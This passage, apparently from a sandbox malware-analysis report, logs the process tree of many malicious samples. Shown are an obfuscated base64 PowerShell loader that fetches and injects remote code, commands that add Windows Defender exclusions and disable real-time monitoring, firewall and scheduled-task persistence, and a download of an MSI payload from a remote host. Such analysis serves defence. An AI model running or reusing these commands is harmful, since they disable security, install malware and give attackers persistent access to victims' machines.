AD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkAOwANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAE0AcwBiAHUAaQBsAGQAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAGcAIAA9ACAAJwB3AGEAcgAvAHQAaABvADgAVgByAGsATQAvAHAAcABhAC4AeQBmAGUAdABzAGEAcAAvAC8AOgBzAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANgApAA0ACgAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAcgB1AG4AcwAnACAAKwAgACcAcwAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJABnAGcAIAAsACcAMAAnACwAIAAnACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA=';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, 'f#', 'r')));iex $oWfdfjfdsuxd"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8472
- - C:\Windows\system32\a\RuntimeBroker.exe
    RuntimeBroker.exe
    3⤵
    PID:2592
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall firewall show rule "name=Runtime Broker"
      4⤵
      Modifies Windows Firewall
      System Time Discovery
      PID:3744
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall firewall add rule "name=Runtime Broker" dir=in action=allow program=C:\Windows\system32\a\RuntimeBroker.exe enable=yes profile=any
      4⤵
      Modifies Windows Firewall
      System Time Discovery
      PID:5600
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall firewall add rule "name=Runtime Broker" dir=out action=allow program=C:\Windows\system32\a\RuntimeBroker.exe enable=yes profile=any
      4⤵
      Modifies Windows Firewall
      System Time Discovery
      PID:9036
- - C:\Windows\system32\a\bot_x86.exe
    bot_x86.exe
    3⤵
    PID:4248
- - C:\Windows\system32\a\21.exe
    21.exe
    3⤵
    PID:1868
- - C:\Windows\system32\a\a.exe
    a.exe
    3⤵
    PID:1816
- - C:\Windows\system32\a\bot.exe
    bot.exe
    3⤵
    PID:5136
- - C:\Windows\system32\a\crypted.exe
    crypted.exe
    3⤵
    PID:5196
  - - C:\Windows\System32\sihost.exe
      "C:\Windows\System32\sihost.exe"
      4⤵
      PID:5420
- - C:\Windows\system32\a\Pulsar-Client.exe
    Pulsar-Client.exe
    3⤵
    PID:5688
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i SSA_Statement.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6140
- - C:\Windows\system32\a\webplugin.exe
    webplugin.exe
    3⤵
    PID:1432
- - C:\Windows\system32\a\free.exe
    free.exe
    3⤵
    PID:5492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:9368
  - - C:\ProgramData\Epic\EpicGamesLauncher\manifest.exe
      "C:\ProgramData\Epic\EpicGamesLauncher\manifest.exe"
      4⤵
      PID:2460
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat" "
        5⤵
        
        PID:7596
  - - C:\Windows\system32\a\free.exe
      free.exe
      4⤵
      PID:4928
- - C:\Windows\system32\a\RankupServicecleaner.exe
    RankupServicecleaner.exe
    3⤵
    PID:3812
- - C:\Windows\system32\a\AutoIt3.exe
    AutoIt3.exe
    3⤵
    PID:3144
- - C:\Windows\system32\a\payload.exe
    payload.exe
    3⤵
    PID:5612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealth' -ExclusionProcess 'svchost.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '*.json' -ExclusionProcess 'conhost.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9616
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f"
      4⤵
      PID:9912
    - - C:\Windows\system32\reg.exe
        
        reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f
        5⤵
        
        PID:8700
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "reg add \"HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f"
      4⤵
      PID:9480
    - - C:\Windows\system32\reg.exe
        
        reg add \"HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f
        5⤵
        
        PID:1012
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\" /v \"svchost.exe\" /t REG_DWORD /d 0 /f"
      4⤵
      PID:9716
    - - C:\Windows\system32\reg.exe
        
        reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\" /v \"svchost.exe\" /t REG_DWORD /d 0 /f
        5⤵
        
        PID:3912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $false"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:13128
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d 1 /f"
      4⤵
      PID:4556
    - - C:\Windows\system32\reg.exe
        
        reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d 1 /f
        5⤵
        
        PID:7000
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /create /tn WindowsSecurityHealthService /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealth\payload.exe\" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:14168
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /create /tn WindowsSecurityHealthServiceMonitor /xml C:\Users\Admin\AppData\Local\Temp\WindowsSecurityHealthServiceMonitor.xml /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6844
- - C:\Windows\system32\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe
    %E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe
    3⤵
    PID:5480
- - C:\Windows\system32\a\PPTV(pplive)_forap_1084_9993.exe
    PPTV(pplive)_forap_1084_9993.exe
    3⤵
    PID:4512
- - C:\Windows\system32\a\RankupServiceFreeTemp.exe
    RankupServiceFreeTemp.exe
    3⤵
    PID:6172
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i SSA_Statement.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6352
- - C:\Windows\system32\a\q8348.exe
    q8348.exe
    3⤵
    PID:6384
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Google Chrome" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Google\Chrome.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7560
- - C:\Windows\system32\a\UniversalBrowser.exe
    UniversalBrowser.exe
    3⤵
    PID:6564
- - C:\Windows\system32\a\dajoke2.exe
    dajoke2.exe
    3⤵
    PID:5164
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i RWBHGSQS.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:3388
- - C:\Windows\system32\a\Printer_Driver_SSL_support_v43.22.209.99.exe
    Printer_Driver_SSL_support_v43.22.209.99.exe
    3⤵
    PID:6536
- - C:\Windows\system32\a\pardufrigi_installer_1.0.p1.exe
    pardufrigi_installer_1.0.p1.exe
    3⤵
    PID:5360
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe Approved%20Document%23402.vbs
    3⤵
    PID:6852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'https://pub-bbbdebc2599c4d74b04c5d53e439f7a7.r2.dev/Approved%20Document%23D53LU.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.msi' -UseBasicParsing"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7920
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Approved%20Document%23D53LU.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:7240
- - C:\Windows\system32\a\123123.exe
    123123.exe
    3⤵
    PID:7416
- - C:\Windows\system32\a\autocad_v1.4.exe
    autocad_v1.4.exe
    3⤵
    PID:7600
- - C:\Windows\system32\a\64th%20Services.exe
    64th%20Services.exe
    3⤵
    PID:7612
- - C:\Windows\system32\a\Rsvp_invite%23903388.exe
    Rsvp_invite%23903388.exe
    3⤵
    PID:7624
- - C:\Windows\system32\a\Win_Driver_SSL_support_v43.22.209.44.exe
    Win_Driver_SSL_support_v43.22.209.44.exe
    3⤵
    PID:7708
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i ScreenConnect.ClientSetup.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:7768
- - C:\Windows\system32\a\rustdesk-1.2.3-2-x86_64.exe
    rustdesk-1.2.3-2-x86_64.exe
    3⤵
    PID:7952
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /F /IM RuntimeBroker_rustdesk.exe
      4⤵
      Kills process with taskkill
      PID:9156
  - - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
      "C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"
      4⤵
      PID:8432
    - - C:\Windows\system32\icacls.exe
        
        "icacls" C:\ProgramData\RustDesk /grant *S-1-1-0:(OI)(CI)F /T
        5⤵
        Modifies file permissions
        
        PID:7056
    - - C:\Windows\system32\icacls.exe
        
        "icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T
        5⤵
        Modifies file permissions
        
        PID:8784
    - - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
        
        "C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service
        5⤵
        
        PID:6376
      - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
        
        "C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system
        6⤵
        
        PID:10160
    - - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
        
        "C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe" --check-hwcodec-config
        5⤵
        
        PID:7980
    - - C:\Windows\system32\cmd.exe
        
        "cmd" /c "taskkill /F /IM RuntimeBroker_rustdesk.exe"
        5⤵
        
        PID:3084
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM RuntimeBroker_rustdesk.exe
        6⤵
        Kills process with taskkill
        
        PID:12244
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c WindowsLogonService.bat
    3⤵
    PID:7976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Windows\System32\a\WindowsLogonService.bat"
      4⤵
      PID:8952
- - C:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
    %E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
    3⤵
    PID:8152
  - - C:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
      C:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
      4⤵
      PID:9020
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Ref62535.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:8096
- - C:\Windows\system32\a\beacon.exe
    beacon.exe
    3⤵
    PID:8140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File ENCRYPTED.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7412
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"
      4⤵
      PID:13904
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Approval3546.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:5816
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i scc.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:9288
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i MicrosoftTeamUpdate.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:9784
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i cl.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:10412
- - C:\Windows\system32\a\g64.exe
    g64.exe
    3⤵
    PID:10432
- - C:\Windows\system32\a\REF-CLI%20v1.0.3.exe
    REF-CLI%20v1.0.3.exe
    3⤵
    PID:10444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:10192
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Lapce-windows.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:8568
- - C:\Windows\system32\a\namuvpnxp.exe
    namuvpnxp.exe
    3⤵
    PID:7756
- - C:\Windows\system32\a\namu864.exe
    namu864.exe
    3⤵
    PID:7940
- - C:\Windows\system32\a\NAMUVPN7.exe
    NAMUVPN7.exe
    3⤵
    PID:9148
- - C:\Windows\system32\a\namuvpnx2.exe
    namuvpnx2.exe
    3⤵
    PID:9336
- - C:\Windows\system32\a\NAMUVPN32.exe
    NAMUVPN32.exe
    3⤵
    PID:2752
- - C:\Windows\system32\a\Driver_EN_msc_AMD_v22.39.exe
    Driver_EN_msc_AMD_v22.39.exe
    3⤵
    PID:10152
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i UVSODSAE.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:10628
- - C:\Windows\system32\a\DebugView%2b%2b.exe
    DebugView%2b%2b.exe
    3⤵
    PID:4936
- - C:\Windows\system32\a\IMG001.exe
    IMG001.exe
    3⤵
    PID:1384
- - C:\Windows\system32\a\DebugView%2b%2b.exe
    DebugView%2b%2b.exe
    3⤵
    PID:8264
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe tun.hta
    3⤵
    PID:8996
- - C:\Windows\system32\a\1117.exe
    1117.exe
    3⤵
    PID:7084
- - C:\Windows\system32\a\csrss.exe
    csrss.exe
    3⤵
    PID:9932
- - C:\Windows\system32\a\ShellHost.exe
    ShellHost.exe
    3⤵
    PID:10232
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:12260
- - C:\Windows\system32\a\%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe
    %E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe
    3⤵
    PID:10860
  - - C:\Users\Admin\AppData\Local\Temp\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"
      4⤵
      PID:15680
- - C:\Windows\system32\a\cr.exe
    cr.exe
    3⤵
    PID:7672
- - C:\Windows\system32\a\TempSpoofer.exe
    TempSpoofer.exe
    3⤵
    PID:7176
- - C:\Windows\system32\a\c1i.exe
    c1i.exe
    3⤵
    PID:11156
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe
      4⤵
      PID:11268
- - C:\Windows\system32\a\%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe
    %E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe
    3⤵
    PID:11512
  - - C:\Users\Admin\AppData\Local\Temp\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"
      4⤵
      PID:13316
    - - C:\Users\Admin\AppData\Local\Temp\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe" Admin
        5⤵
        
        PID:5960
- - C:\Windows\system32\a\PSBBmYYA.exe
    PSBBmYYA.exe
    3⤵
    PID:11908
- - C:\Windows\system32\a\fscan32.exe
    fscan32.exe
    3⤵
    PID:12080
- - C:\Windows\system32\a\v1d.exe
    v1d.exe
    3⤵
    PID:11464
- - C:\Windows\system32\a\Ytkjmt.exe
    Ytkjmt.exe
    3⤵
    PID:12708
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe
      4⤵
      PID:12640
- - C:\Windows\system32\a\01.exe
    01.exe
    3⤵
    PID:11392
- - C:\Windows\system32\a\fastping_silent_v4.exe
    fastping_silent_v4.exe
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6720
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Receipt_11_26_2025.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:11900
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Payment_Receipt_11_28_2025.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:9356
- - C:\Windows\system32\a\GMSSetupX86.exe
    GMSSetupX86.exe
    3⤵
    PID:12876
- - C:\Windows\system32\a\NanoCore_Portable.exe
    NanoCore_Portable.exe
    3⤵
    PID:10584
- - C:\Windows\system32\a\setup_smart.exe
    setup_smart.exe
    3⤵
    PID:4012
- - C:\Windows\system32\a\%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe
    %C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe
    3⤵
    PID:11392
- - C:\Windows\system32\a\Installer_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exe
    Installer_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exe
    3⤵
    PID:10548
- - C:\Windows\system32\a\DowOnline.Installer.exe
    DowOnline.Installer.exe
    3⤵
    PID:5404
- - C:\Windows\system32\a\AvamarConsoleMultiple-windows-x86_64-7.2.1-32.exe
    AvamarConsoleMultiple-windows-x86_64-7.2.1-32.exe
    3⤵
    PID:15796
- - C:\Windows\system32\a\EDMSLauncherSetup.exe
    EDMSLauncherSetup.exe
    3⤵
    PID:14600
- - C:\Windows\system32\a\fo-wsftp605.exe
    fo-wsftp605.exe
    3⤵
    PID:14576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3952 -ip 3952
1⤵
PID:5272

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
1⤵
PID:6764

C:\Windows\system32\a\UniversalBrowser.exe
C:\Windows\system32\a\UniversalBrowser.exe
1⤵
PID:6764

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6008

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7300

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:7636
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 71171318CEECF9D9A5CB01C9F8989FE2 C
  2⤵
  PID:8664
- - C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe
    C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{57EE87B0-2DDD-4D36-87BC-04E2F38DF13D}
    3⤵
    PID:10844
- - C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe
    C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{D6F45A8F-9A87-4539-9F7E-C03083768CE8}
    3⤵
    PID:8028
- - C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe
    C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{875AD6E3-F9F7-478D-BF31-07EFFFBF7EF8}
    3⤵
    PID:3736
- - C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe
    C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{8B12D77A-F308-4500-A409-398E29F269E4}
    3⤵
    PID:13736
- - C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe
    C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{838C80CD-C4AE-415B-AAF1-4013B711922A}
    3⤵
    PID:13836
- - C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe
    C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{26ECA006-DEFA-4676-8E69-628BF29B84F4}
    3⤵
    PID:13216
- - C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe
    C:\Users\Admin\AppData\Local\Temp\{A4D39DFF-7333-43FE-9405-9098A6B1273D}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{43F6E520-0F1C-4BB8-A16A-6DFD4D7DB425}
    3⤵
    PID:13256
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B9B026DED3365DB02793F243A77B7EDF C
  2⤵
  PID:9396
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8B05.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240691000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:10328
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 70BD8F623DC39D710177252A5A5C9DA1 C
  2⤵
  PID:8480
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FA3E99527BD007489F56B3B3152C3A0D C
  2⤵
  PID:5536
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIC4A3.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240707765 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:8532
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 81790D2991636A478851DF99C06D5742 C
  2⤵
  PID:8056
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 00B4B82E0A64E3704654438720CD111C C
  2⤵
  PID:6572
- - C:\Windows\SysWOW64\rundll32.exe
